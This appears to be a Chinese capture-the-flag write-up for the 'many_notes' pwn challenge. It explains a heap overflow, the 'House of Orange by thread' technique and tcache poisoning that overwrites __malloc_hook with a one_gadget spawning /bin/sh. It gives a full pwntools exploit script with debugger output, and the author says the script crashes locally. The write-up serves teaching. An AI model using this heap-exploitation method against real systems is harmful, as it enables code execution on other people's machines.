一道典型的House of Orange by thread
题目。
源程序、相关文件下载:http://file.eonew.cn/ctf/pwn/many_notes.zip 。
目录
溢出点
void __fastcall exploit_sub_B0B(char *str, size_t length)
{
int v2; // [rsp+1Ch] [rbp-14h]
size_t i; // [rsp+20h] [rbp-10h]
for ( i = 0LL; i < length; i += v2 )
{
v2 = read(0, &str[i], length);
if ( v2 <= 0 )
exit(2);
}
}
这里存在堆溢出,但是整个函数并没有free
函数,则需要我们使用到House of Orange by thread
漏洞。
思路
House of Orange by thread
得到一块tcache chunk
heap overflow
修改top chunk
的sizeheap overflow
修改tcache chunk
的fd
tcache chunk
for i in range(8):
new(0x2000, 0x399, None)
new(0x2000, 800 - 2, None)
# Cut the chunk into smaller pieces, then it can take into tcache
new(0x500, 0, None)
# Triggering "House of Orange by thread"
new(0x2000, 0, None)
这里需要把chunk
变得足够小,这样才能放入到tcache
中。
pwndbg> bin
tcachebins
0xd0 [ 1]: 0x7fb09fffef20 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
我们可以看到,top chunk
被free到了tcache
中。
原本top chunk
不够的话,是继续向后扩展,但是如果大小达到0x4000000
,则会free掉top chunk
,并向前扩展。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x558c4a586000 0x558c4a588000 r-xp 2000 0 /home/ex/test/many_notes
0x558c4a787000 0x558c4a788000 r--p 1000 1000 /home/ex/test/many_notes
0x558c4a788000 0x558c4a789000 rw-p 1000 2000 /home/ex/test/many_notes
0x558c4c682000 0x558c4c6a3000 rw-p 21000 0 [heap]
0x7fb094000000 0x7fb094023000 rw-p 23000 0
0x7fb094023000 0x7fb098000000 ---p 3fdd000 0
0x7fb09c000000 0x7fb09ffff000 rw-p 3fff000 0
0x7fb09ffff000 0x7fb0a0000000 ---p 1000 0
0x7fb0a384e000 0x7fb0a384f000 ---p 1000 0
0x7fb0a384f000 0x7fb0a404f000 rw-p 800000 0
0x7fb0a404f000 0x7fb0a4236000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fb0a4236000 0x7fb0a4436000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fb0a4436000 0x7fb0a443a000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fb0a443a000 0x7fb0a443c000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fb0a443c000 0x7fb0a4440000 rw-p 4000 0
0x7fb0a4440000 0x7fb0a445a000 r-xp 1a000 0 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fb0a445a000 0x7fb0a4659000 ---p 1ff000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fb0a4659000 0x7fb0a465a000 r--p 1000 19000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fb0a465a000 0x7fb0a465b000 rw-p 1000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fb0a465b000 0x7fb0a465f000 rw-p 4000 0
0x7fb0a465f000 0x7fb0a4686000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fb0a4864000 0x7fb0a4869000 rw-p 5000 0
0x7fb0a4886000 0x7fb0a4887000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fb0a4887000 0x7fb0a4888000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fb0a4888000 0x7fb0a4889000 rw-p 1000 0
0x7ffc4ba09000 0x7ffc4ba2b000 rw-p 22000 0 [stack]
0x7ffc4bb88000 0x7ffc4bb8b000 r--p 3000 0 [vvar]
0x7ffc4bb8b000 0x7ffc4bb8d000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
如上所示,0x7fb094000000-0x7fb094023000
就是向上扩展的新的heap
。
修改 top chunk 的size
我们继续malloc
的话,top chunk
会继续向后扩展,直到遇到了我们之前的heap
,原本程序在要撞到之前的heap
的时候,会free
掉top chunk
并继续向前扩展。但此时我们可以直接修改top chunk 的size
,那么top chunk
就会和原先的heap
重叠,这样我们就可以溢出到之前的tcache
。
for i in range(17):
new(0x2000, 0x399, None)
new(0x2000, 675, None)
# pause()
new(0x1500, 0, ['b' * (0x1500 - 0x10), 'c' * 0x10 + p64(0) + p64(0x0000000000000be1 + 0x3fff000)])
在这里面,0x0000000000000be1
为原本的top chunk
的size,然后我们对他进行扩展,加上0x3fff000
(也就是后面的heap大小)。
然后继续向后进行top chunk
扩展,我们很快就会到之前的tcache
那里。
for i in range(8):
new(0x2000, 0x399, None)
new(0x2000, 800 - 2 , None)
修改 tcache chunk 的fd
heap overflow
修改tcache chunk
的fd。
new(0x1b00, 0, ['d' * (0x1b00 - 0x10), 'e' * 0x100 + p64(0) + p64(0xd1) + p64(libc_base_addr + libc.symbols['__malloc_hook'])])
new(0xc8, 0, None)
# pause()
从下面可以看到,我么已经拿出了__malloc_chunk
这个地址。
pwndbg> bin
tcachebins
0xc0 [ 1]: 0x7fb097ffff30 ◂— 0x0
0xd0 [ 0]: 0x7fb0a443ac30 (__malloc_hook) ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
接下来把它修改成one_gadget
。
# You need to calculate the value by your own environment.
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
new(0xc8, 0, [p64(libc_base_addr + 0x4f2c5).ljust(0xc8, '\0')])
从下面可以看到,__malloc_chunk
已经被修改成了我们想要的值。
pwndbg> p __malloc_hook
$1 = (void *(*)(size_t, const void *)) 0x7fb0a409e2c5 <do_system+1045>
完整代码
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import random
import struct
import os
import binascii
import sys
import time
# context.log_level = 'debug'
sh = process("./many_notes")
elf = ELF("./many_notes")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Create a temporary file for GDB debugging
try:
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass
def new(size, padding_num, content_list):
sh.sendline("0")
sh.recvuntil(": ")
sh.sendline(str(size))
sh.recvuntil(": ")
sh.sendline(str(padding_num))
sh.recvuntil(": ")
if(content_list):
sh.sendline('1')
sh.recvuntil(": ")
for v in content_list:
sh.send(v)
else:
sh.sendline('0')
sh.recvuntil("Choice: ")
sh.recvuntil("Please input your name: \n")
sh.send("a" * 0x8)
sh.recvuntil("a" * 0x8)
result = sh.recvuntil('\n')[:-1]
libc_base_addr = u64(result.ljust(8, "\x00")) - libc.symbols['_IO_2_1_stdout_']
log.success("libc_base_addr: " + hex(libc_base_addr))
sh.recvuntil("Choice: ")
for i in range(8):
new(0x2000, 0x399, None)
new(0x2000, 800 - 2, None)
# Cut the chunk into smaller pieces, then it can take into tcache
new(0x500, 0, None)
# Triggering "House of Orange by thread"
new(0x2000, 0, None)
# pause()
for i in range(17):
new(0x2000, 0x399, None)
new(0x2000, 675, None)
# pause()
new(0x1500, 0, ['b' * (0x1500 - 0x10), 'c' * 0x10 + p64(0) + p64(0x0000000000000be1 + 0x3fff000)])
for i in range(8):
new(0x2000, 0x399, None)
new(0x2000, 800 - 2 , None)
# pause()
new(0x1b00, 0, ['d' * (0x1b00 - 0x10), 'e' * 0x100 + p64(0) + p64(0xd1) + p64(libc_base_addr + libc.symbols['__malloc_hook'])])
new(0xc8, 0, None)
# pause()
# You need to calculate the value by your own environment.
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
new(0xc8, 0, [p64(libc_base_addr + 0x4f2c5).ljust(0xc8, '\0')])
sh.interactive()
该段代码虽然并不能打通本地,结果下面所示:
Thread 2 "many_notes" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fb0a404e700 (LWP 24729)]
0x00007fb0a409e2f6 in do_system (line=0x7fb0a404dfc0 "") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
RAX 0x7fb0a409e2c5 (do_system+1045) ◂— lea rsi, [rip + 0x39e3d4]
RBX 0x0
RCX 0x0
RDX 0x0
RDI 0x2
RSI 0x7fb0a443c6a0 (intr) ◂— 0x0
R8 0x7fb0a404de91 ◂— 0xa /* '\n' */
R9 0x0
R10 0x7fb0a41edcc0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax]
R11 0xa
R12 0x7fb0a404dfc0 ◂— 0x0
R13 0x0
R14 0x0
R15 0x7ffc4ba27ac0 ◂— 0x0
RBP 0x7fb0a404def0 ◂— 0x0
RSP 0x7fb0a404dea8 —▸ 0x558c4a586c6c ◂— mov qword ptr [rbp - 0x10], rax
RIP 0x7fb0a409e2f6 (do_system+1094) ◂— movaps xmmword ptr [rsp + 0x40], xmm0
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x7fb0a409e2f6 <do_system+1094> movaps xmmword ptr [rsp + 0x40], xmm0
0x7fb0a409e2fb <do_system+1099> call sigaction <0x7fb0a408e110>
0x7fb0a409e300 <do_system+1104> lea rsi, [rip + 0x39e2f9] <0x7fb0a443c600>
0x7fb0a409e307 <do_system+1111> xor edx, edx
0x7fb0a409e309 <do_system+1113> mov edi, 3
0x7fb0a409e30e <do_system+1118> call sigaction <0x7fb0a408e110>
0x7fb0a409e313 <do_system+1123> xor edx, edx
0x7fb0a409e315 <do_system+1125> mov rsi, rbp
0x7fb0a409e318 <do_system+1128> mov edi, 2
0x7fb0a409e31d <do_system+1133> call sigprocmask <0x7fb0a408e140>
0x7fb0a409e322 <do_system+1138> mov rax, qword ptr [rip + 0x39bb7f]
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fb0a404dea8 —▸ 0x558c4a586c6c ◂— mov qword ptr [rbp - 0x10], rax
01:0008│ 0x7fb0a404deb0 —▸ 0x7fb0a409e2c5 (do_system+1045) ◂— lea rsi, [rip + 0x39e3d4]
02:0010│ 0x7fb0a404deb8 ◂— 0x0
... ↓
04:0020│ 0x7fb0a404dec8 ◂— 0x7fc2
05:0028│ 0x7fb0a404ded0 ◂— 0x800000000
06:0030│ 0x7fb0a404ded8 ◂— 0x100000000
07:0038│ 0x7fb0a404dee0 —▸ 0x7fb0a443ac30 (__malloc_hook) —▸ 0x7fb0a409e2c5 (do_system+1045) ◂— lea rsi, [rip + 0x39e3d4]
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 7fb0a409e2f6 do_system+1094
f 1 0
Program received signal SIGSEGV (fault address 0x0)
pwndbg>
官方的解题思路就是这样的,至于打不通本地,原因可能是靶机的glibc是2.26
版本的,但我的物理机是2.27
版本的。
总结
这是一道要花费很多时间去调试的题目,由于是thread_arena
,所以每一个chunk的地址都需要自己手动来确定其位置。